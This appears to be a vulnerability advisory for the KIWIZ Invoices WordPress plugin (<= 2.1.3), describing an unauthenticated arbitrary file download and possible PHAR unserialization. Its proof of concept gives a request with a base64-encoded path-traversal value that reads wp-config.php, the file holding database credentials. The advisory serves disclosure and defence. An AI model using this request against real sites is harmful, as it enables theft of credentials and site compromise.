WordPress Plugin Vulnerabilities
KIWIZ Invoices Certification & PDF System <= 2.1.3 - Unauthenticated Arbitrary File Download
Description
The plugin does not validate the path of files to be downloaded, which could allow unauthenticated attacker to read/downlaod arbitrary files, as well as perform PHAR unserialization (assuming they can upload a file on the server)
Proof of Concept
To download ../../../../wp-config.php: https://example.com/wp-content/plugins/woocommerce-gateway-certification-de-facture-et-gestion-de-pdf-kiwiz/entrypoint/concat-pdf.php?file_name=Li4vLi4vLi4vLi4vd3AtY29uZmlnLnBocA== The downloaded file will have the pdf extension, just change it to php
Affects Plugins
References
CVE
Classification
Type
FILE DOWNLOAD
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScan
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-04-19 (about 1 years ago)
Added
2023-04-19 (about 1 years ago)
Last Updated
2023-04-19 (about 1 years ago)